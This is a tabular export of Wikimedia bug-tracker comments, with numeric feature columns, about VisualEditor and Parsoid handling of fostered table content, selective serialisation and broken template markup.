236277,VisualEditor: Add the capacity for help pages in dialogs,"Instead of help /pages/ we've decided to go with help /popups/, per bug 51798.",,,1403824508,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-znebtf73mavsnt4zkjtb,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,24.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,"Instead of help /pages/ we've decided to go with help /popups/, per bug 51798."
53217,Implement way to round-trip tables with fosterable content that migrates out of the table,"Simple example:

{|
foo
|}

This doesn't RT correctly. 

Real world test case: [[All-Ireland_Senior_Camogie_Championship_1992]]
Related report: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#A_simple_table_gets_doubled_after_an_unrelated_edit_of_plain_text

Interestingly enough, we have more robust handling for templated content.  The example below is handled properly and RTs correctly.

{|
{{echo|foo}}
|}

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53402",Medium,50.0,1373603700,1376526837.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_description,resolved,True,c1,3,True,False,True,1,,1.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,16.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.6,0.55,"Simple example:

{|
foo
|}

This doesn't RT correctly. 

Real world test case: [[All-Ireland_Senior_Camogie_Championship_1992]]
Related report: URL

Interestingly enough, we have more robust handling for templated content.  The example below is handled properly and RTs correctly.

{|
{{echo|foo}}
|}

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
235289,Implement way to round-trip tables with fosterable content that migrates out of the table,"Fix deployed, but cache is not yet purged. The purge will happen tomorrow.",,,1376526837,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9375,"Fix deployed, but cache is not yet purged. The purge will happen tomorrow."
235279,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 78242 merged by jenkins-bot:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

https://gerrit.wikimedia.org/r/78242",,,1375981140,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9583333333333334,"Change 78242 merged by jenkins-bot:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

GERRIT_URL"
235271,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 78242 had a related patch set uploaded by Subramanya Sastry:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

https://gerrit.wikimedia.org/r/78242",,,1375978000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.464285714285714,0.9642857142857143,"Change 78242 had a related patch set uploaded by Subramanya Sastry:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

GERRIT_URL"
235262,Implement way to round-trip tables with fosterable content that migrates out of the table,Now deployed in production.  I tested dummy test cases and it seems to work.  Would be good to keep an eye out for this in production.,,,1375306275,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5161290322580645,0.8064516129032258,Now deployed in production.  I tested dummy test cases and it seems to work.  Would be good to keep an eye out for this in production.
235257,Implement way to round-trip tables with fosterable content that migrates out of the table,Another related patch: https://gerrit.wikimedia.org/r/#/c/76324/,,,1374985971,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,Another related patch: URL
235254,Implement way to round-trip tables with fosterable content that migrates out of the table,Currently undergoing rt-testing and will be deployed Monday/Tuesday.,,,1374985901,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.6923076923076925,1.0,Currently undergoing rt-testing and will be deployed Monday/Tuesday.
235250,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 75253 merged by jenkins-bot:
(Bug 51217) Detect fostered content and ignore in selser

https://gerrit.wikimedia.org/r/75253",,,1374928594,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,1.0,"Change 75253 merged by jenkins-bot:
(Bug 51217) Detect fostered content and ignore in selser

GERRIT_URL"
235246,Implement way to round-trip tables with fosterable content that migrates out of the table,*** Bug 51993 has been marked as a duplicate of this bug. ***,,,1374701823,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51993 has been marked as a duplicate of this bug. ***
235242,Implement way to round-trip tables with fosterable content that migrates out of the table,*** Bug 51964 has been marked as a duplicate of this bug. ***,,,1374677927,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51964 has been marked as a duplicate of this bug. ***
235237,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 75253 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 51217) Detect fostered content and ignore in selser

https://gerrit.wikimedia.org/r/75253",,,1374529506,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.9642857142857143,"Change 75253 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 51217) Detect fostered content and ignore in selser

GERRIT_URL"
235232,Implement way to round-trip tables with fosterable content that migrates out of the table,*** Bug 50754 has been marked as a duplicate of this bug. ***,,,1374329698,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50754 has been marked as a duplicate of this bug. ***
235226,Implement way to round-trip tables with fosterable content that migrates out of the table,This looks very similar to bug 50754.,,,1374306109,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,This looks very similar to bug 50754.
235222,Implement way to round-trip tables with fosterable content that migrates out of the table,"From IRC:
[14:44] <gwicke> subbu, re https://bugzilla.wikimedia.org/show_bug.cgi?id=51217#c9: we should be able to detect when something was fostered out by our treebuilder, and should also be able to ensure that everything fosterable is dropped or fostered at the end of DOMPostProcessing
[14:45] <gwicke> yeah, I wonder what he is up to
[14:45] <subbu> in that example, what do we do with the information at all .. itis not helpful since the output still looks corrupt.
[14:45] <gwicke> subbu: IMO it is fine to drop such content on edit, but if we can avoid dirty diffs with selser then that would be great
[14:46] <gwicke> we could strip the fostered content from the DOM
[14:46] <subbu> is it the right thing to do in general?
[14:46] <gwicke> and rig selser so that it restores it unless the content is touched 
[14:47] <gwicke> or we can keep it in the DOM, but mark it so that selser does not serialize it
[14:47] <gwicke> ie, a zero-length dsr
[14:48] <subbu> yes, the rig-selser bit is missing right now.
[14:48] <gwicke> subbu: detecting foster-parented content and then excluding it from dsr calculations might already be pretty effective
[14:49] <gwicke> I guess the gaps in dsr would be spanned by the dsr algorithm
[14:49] <subbu> yes, that should work.
[14:49] <gwicke> (the holes where content disappeared)
[14:50] <subbu> i was wondering if we should mark blocks of fostered content with a special div/marker so that VE can treat it specially if there is a use-case for it (not sure there is ..)
[14:50] <gwicke> subbu: I'd vote for data-parsoid
[14:50] <subbu> data-parsoid is fine for internal use.
[14:50] <gwicke> if the user edits the fostered content, we serialize it
[14:50] <gwicke> i.e., do the dirty diff then
[14:51] <subbu> but, i mean: if VE can do something special if it knew about it.  not sure what that would be .. i doubt this is a high priority thing in any case.
[14:51] <gwicke> when something adjacent to the former location is edited, we dirty-diff it there
[14:51] <gwicke> subbu: IMO we should abstract such issues
[14:52] <gwicke> bot authors would not want to deal with it either
[14:52] <gwicke> and the DOM should reflect the rendered semantics 
[14:53] <subbu> dom should reflect rendered semantics for sure.",,,1374271613,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.3333333333333333,0.6666666666666666,0.0,0.8333333333333334,0.8333333333333334,5.0,1.3333333333333333,0.0,0.0,1.1666666666666667,1.0,0.16666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.16666666666666666,4.166666666666667,8.166666666666666,0.6666666666666666,1.0,1.1666666666666667,0.6666666666666666,0.0,0.8333333333333334,0.0,0.0,0.0,1.0,0.8333333333333334,0.0,3.6666666666666665,1.1666666666666667,2.5,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.16666666666666666,0.16666666666666666,0.6666666666666666,0.3333333333333333,0.8333333333333334,0.0,0.0,0.16666666666666666,10.166666666666666,0.6666666666666666,0.6666666666666666,0.16666666666666666,0.16666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.6666666666666666,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,3.6666666666666665,3.1666666666666665,2.3333333333333335,3.0,1.5,4.666666666666667,0.0,0.0,0.0,0.0,4.166666666666667,0.5,4.333333333333333,0.0,5.333333333333333,8.166666666666666,2.0,0.16666666666666666,0.0,0.0,5.333333333333333,0.0,1.0,0.6666666666666666,0.0,0.8333333333333334,0.0,0.0,17.666666666666668,3.335339722611813,0.631739909615085,"From IRC:
[14:44] <gwicke> subbu, re URL we should be able to detect when something was fostered out by our treebuilder, and should also be able to ensure that everything fosterable is dropped or fostered at the end of DOMPostProcessing
[14:45] <gwicke> yeah, I wonder what he is up to
[14:45] <subbu> in that example, what do we do with the information at all .. itis not helpful since the output still looks corrupt.
[14:45] <gwicke> subbu: IMO it is fine to drop such content on edit, but if we can avoid dirty diffs with selser then that would be great
[14:46] <gwicke> we could strip the fostered content from the DOM
[14:46] <subbu> is it the right thing to do in general?
[14:46] <gwicke> and rig selser so that it restores it unless the content is touched 
[14:47] <gwicke> or we can keep it in the DOM, but mark it so that selser does not serialize it
[14:47] <gwicke> ie, a zero-length dsr
[14:48] <subbu> yes, the rig-selser bit is missing right now.
[14:48] <gwicke> subbu: detecting foster-parented content and then excluding it from dsr calculations might already be pretty effective
[14:49] <gwicke> I guess the gaps in dsr would be spanned by the dsr algorithm
[14:49] <subbu> yes, that should work.
[14:49] <gwicke> (the holes where content disappeared)
[14:50] <subbu> i was wondering if we should mark blocks of fostered content with a special div/marker so that VE can treat it specially if there is a use-case for it (not sure there is ..)
[14:50] <gwicke> subbu: I'd vote for data-parsoid
[14:50] <subbu> data-parsoid is fine for internal use.
[14:50] <gwicke> if the user edits the fostered content, we serialize it
[14:50] <gwicke> i.e., do the dirty diff then
[14:51] <subbu> but, i mean: if VE can do something special if it knew about it.  not sure what that would be .. i doubt this is a high priority thing in any case.
[14:51] <gwicke> when something adjacent to the former location is edited, we dirty-diff it there
[14:51] <gwicke> subbu: IMO we should abstract such issues
[14:52] <gwicke> bot authors would not want to deal with it either
[14:52] <gwicke> and the DOM should reflect the rendered semantics 
[14:53] <subbu> dom should reflect rendered semantics for sure."
235215,Implement way to round-trip tables with fosterable content that migrates out of the table,"So, I investigated the bug with this page (https://en.wikipedia.org/w/index.php?title=List_of_Jessie_episodes&diff=564684769&oldid=564554799) (comment #3 above).  

This is quite nasty and nothing to do with foster parenting as I mistakenly/hastily believed.  The page has since been edited to remove the problematic wikitext (https://en.wikipedia.org/w/index.php?title=List_of_Jessie_episodes&diff=564803163&oldid=564788048) so the problem will no longer manifest there.

However, here is a snippet from 

{{Episode list
 |EpisodeNumber   = 1
...
...
 |ProdCode        = 101<ref name=""futon"" />
 |Viewers         = ...
...
...
|}

Note the input to the 'ProdCode' param.  Here is a snippet for the template source of Episode list (https://en.wikipedia.org/w/index.php?title=Template:Episode_list&action=edit)

... <td id=""pc{{{ProdCode}}}"">{{{ProdCode}}}</td> ...

See what that will do with the parameter passed in from the page.  Here is the expanded source that Parsoid sees:

... <td id=""pc101<ref name=""futon"" />"">101<ref name=""futon"" /></td> ...

So, that td-tag is totally broken and Parsoid renders that as literal text (rather than a html td tag) which then promptly gets fostered out (by Parsoid itself) which then adds noise to the HTML output which is what you see when you opened that page in VE (see video above added by AzaToth). 

The editor Geraldo Perez has already fixed the page as I indicated earlier, so this is not a problem anymore.

But, I dont think we should even bother trying to handle broken wikitext like this.  We do go to great lengths to fixup/handler broken wikitext while still preserving it as far as possible to not introduce dirty diffs, but dirty diffs are sometimes inevitable in situations like this.  So for now, I am going to classify this example as unfixable in Parsoid, unless someone has smart ideas.",,,1374266416,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.0,0.25,0.25,0.5,0.5,3.25,1.5,0.0,0.0,0.25,3.25,0.5,0.0,0.0,0.0,2.0,0.25,8.75,10.5,0.5,1.25,0.25,0.5,0.0,0.75,0.0,0.0,0.75,0.0,0.5,0.0,5.0,2.0,0.5,0.75,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.25,0.0,0.0,10.5,1.25,1.25,0.0,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.5,1.25,0.25,0.25,0.0,0.25,0.5,4.25,2.5,8.5,2.0,1.25,7.25,0.0,0.0,0.0,0.25,3.5,0.0,0.75,0.0,3.0,10.5,6.5,0.0,1.25,0.0,3.0,0.0,1.5,1.0,0.25,0.75,0.5,0.0,2.0,3.8535485164394547,0.723336006415397,"So, I investigated the bug with this page (URL (comment #3 above).  

This is quite nasty and nothing to do with foster parenting as I mistakenly/hastily believed.  The page has since been edited to remove the problematic wikitext (URL so the problem will no longer manifest there.

However, here is a snippet from 

{{Episode list
 |EpisodeNumber   = 1
...
...
 |ProdCode        = 101<ref name=""futon"" />
 |Viewers         = ...
...
...
|}

Note the input to the 'ProdCode' param.  Here is a snippet for the template source of Episode list (URL

... <td id=""pc{{{ProdCode}}}"">{{{ProdCode}}}</td> ...

See what that will do with the parameter passed in from the page.  Here is the expanded source that Parsoid sees:

... <td id=""pc101<ref name=""futon"" />"">101<ref name=""futon"" /></td> ...

So, that td-tag is totally broken and Parsoid renders that as literal text (rather than a html td tag) which then promptly gets fostered out (by Parsoid itself) which then adds noise to the HTML output which is what you see when you opened that page in VE (see video above added by AzaToth). 

The editor Geraldo Perez has already fixed the page as I indicated earlier, so this is not a problem anymore.

But, I dont think we should even bother trying to handle broken wikitext like this.  We do go to great lengths to fixup/handler broken wikitext while still preserving it as far as possible to not introduce dirty diffs, but dirty diffs are sometimes inevitable in situations like this.  So for now, I am going to classify this example as unfixable in Parsoid, unless someone has smart ideas."
235209,Implement way to round-trip tables with fosterable content that migrates out of the table,"(In reply to comment #7)
> The problem on the VE end is that foster-parenting happens already when the
> browser parses the received HTML. Doing a simple string comparison with the
> received HTML won't normally work because of quoting differences.
This is right. We have no reasonable way to tell whether the browser's HTML parser introduced changes, because inferring anything about the HTML string requires using the browser's HTML parser which... well you get the idea.

On the Parsoid end, this is easier to detect, because you have the original DOM. You could serialize that DOM to a string, then parse it into a DOM again, and compare that against the original DOM using .isEqualNode() (if that exists in your DOM library; alternatively, use your DOM differ).",,,1374190969,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,2,,0.0,0.5,0.0,0.0,0.0,3.5,1.5,1.5,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.5,0.0,2.5,9.5,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,4.5,0.5,1.0,1.0,4.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,11.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,6.0,1.5,11.5,2.5,1.0,10.5,0.0,0.0,0.0,0.5,6.0,0.5,0.5,0.0,5.0,9.5,5.0,0.0,0.0,0.0,5.0,0.0,0.5,1.5,0.0,2.0,1.0,0.0,0.0,3.8919398907103826,0.7105191256830601,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
This is right. We have no reasonable way to tell whether the browser's HTML parser introduced changes, because inferring anything about the HTML string requires using the browser's HTML parser which... well you get the idea.

On the Parsoid end, this is easier to detect, because you have the original DOM. You could serialize that DOM to a string, then parse it into a DOM again, and compare that against the original DOM using .isEqualNode() (if that exists in your DOM library; alternatively, use your DOM differ)."
235203,Implement way to round-trip tables with fosterable content that migrates out of the table,The problem on the VE end is that foster-parenting happens already when the browser parses the received HTML. Doing a simple string comparison with the received HTML won't normally work because of quoting differences.,,,1374185200,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,13.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,4.717948717948718,0.8461538461538461,The problem on the VE end is that foster-parenting happens already when the browser parses the received HTML. Doing a simple string comparison with the received HTML won't normally work because of quoting differences.
